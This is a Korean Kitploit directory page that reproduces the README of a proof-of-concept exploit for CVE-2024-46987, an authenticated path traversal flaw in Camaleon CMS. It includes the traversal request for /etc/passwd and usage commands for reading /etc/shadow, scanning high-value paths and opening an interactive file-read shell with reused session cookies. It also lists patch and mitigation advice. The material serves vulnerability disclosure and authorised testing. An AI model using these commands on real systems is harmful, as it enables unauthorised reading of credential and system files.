Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-46987 — PoC exploit for CVE-2024-46987 — Camaleon CMS 임의 경로 탐색 (파일 읽기) | Kitploit
도구/GitHubGitHub/blueberryp1ll/cve-2024-46987
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingLearning & Education
GitHubblueberryp1ll/cve-2024-46987

CVE-2024-46987

PoC exploit for CVE-2024-46987 — Camaleon CMS 임의 경로 탐색 (파일 읽기)

저장소 보기
6개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-46987 — Camaleon CMS 임의 경로 탐색

승인된 보안 평가, 침투 테스트, 교육 연구용으로만 사용하십시오.

개요

필드세부 정보
CVECVE-2024-46987
제품Camaleon CMS
버전>= 2.8.0, < 2.8.2 (2.9.0에서도 확인됨)
유형경로 탐색 / 임의 파일 읽기 (CWE-22)
인증필요 (모든 낮은 권한 계정)
CVSS7.7 높음 — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
수정 버전2.8.2

취약점

MediaController#download_private_file는 params[:file]을 정제하지 않고 fetch_file에 전달합니다:

root@kitploit:~
# 취약한 싱크
fetch_file("private/#{params[:file]}")

값이 send_file과 함께 사용되기 전에 경로 정규화가 적용되지 않아, 인증된 공격자가 ../ 시퀀스를 사용하여 private/ 디렉토리를 벗어나 Rails 프로세스가 접근 권한을 가진 임의의 파일을 읽을 수 있습니다.

취약한 엔드포인트:

root@kitploit:~
GET /admin/media/download_private_file?file=../../../../../../etc/passwd

요구 사항

  • Python 3.8+
  • requests 라이브러리
root@kitploit:~
pip3 install requests

사용법

root@kitploit:~
usage: CVE-2024-46987.py [-h] -u URL (--cookie COOKIE | -U USERNAME)
                         [-P PASSWORD] [-f FILE] [-d DEPTH]
                         [--interesting] [--interactive]
                         [--no-verify] [--debug]

자격 증명 기반 인증

root@kitploit:~
# /etc/passwd 읽기 (기본값)
python3 CVE-2024-46987.py -u http://target.com -U admin -P password

# 특정 파일 읽기
python3 CVE-2024-46987.py -u http://target.com -U admin -P password -f /etc/shadow

# 고가치 경로 목록 자동 스캔
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interesting

# 대화형 파일 읽기 셸
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interactive

기존 세션 재사용 (Burp Suite / 브라우저 DevTools)

root@kitploit:~
# 단일 파일
python3 CVE-2024-46987.py -u http://target.com \
  --cookie "_app_session=XXXX" -f /etc/passwd

# 대화형 셸
python3 CVE-2024-46987.py -u http://target.com \
  --cookie "_app_session=XXXX; auth_token=YYYY" --interactive

옵션

플래그설명
-u대상 기본 URL
-U / -PCMS 사용자 이름 및 비밀번호
--cookie원시 쿠키 문자열 (자격 증명 대체)
-f읽을 파일 경로 (기본값: /etc/passwd)
-d탐색 깊이 — 앞에 추가할 ../ 개수 (기본값: 10)
--interesting내장된 고가치 경로 목록 반복
--interactive대화형 파일 읽기 셸
--no-verifyTLS 인증서 확인 비활성화
--debug인증 실패 진단을 위한 상세 출력

/proc 의사 파일 관련 참고 사항

/proc/self/ 아래의 파일(예: environ, cmdline)은 HTTP 200을 반환하지만 본문이 비어 있습니다. 이는 예상된 동작입니다 — 커널이 해당 파일의 크기를 0으로 보고하므로 Rails의 send_file이 아무것도 스트리밍하지 않습니다. 대신 일반 플랫 파일을 사용하십시오.

수정 방법

Camaleon CMS를 버전 2.8.2 이상으로 업그레이드하십시오. 패치는 적절한 경로 정규화를 추가하고, send_file을 호출하기 전에 확인된 경로가 의도된 디렉토리 내에 유지되도록 합니다.

또는:

  • 모든 사용자 제공 파일 경로를 사용 전에 정규화하십시오.
  • .. 시퀀스가 포함된 입력을 거부하십시오.
  • Rails 프로세스를 실행하는 OS 사용자에게 최소 권한 원칙을 적용하십시오.

참조

  • GHSA-cp65-5m9r-vc2c — GitHub 권고
  • GHSL-2024-183 — GitHub Security Lab
  • NVD — CVE-2024-46987

면책 조항

이 개념 증명은 교육 목적과 보안 전문가가 승인된 테스트 환경에서 취약점을 이해하고 재현하는 데 도움을 주기 위해 게시되었습니다. 저자는 오용에 대해 책임을 지지 않습니다. 소유하지 않은 시스템을 테스트하기 전에 항상 명시적인 서면 허가를 받으십시오.

도구 다운로드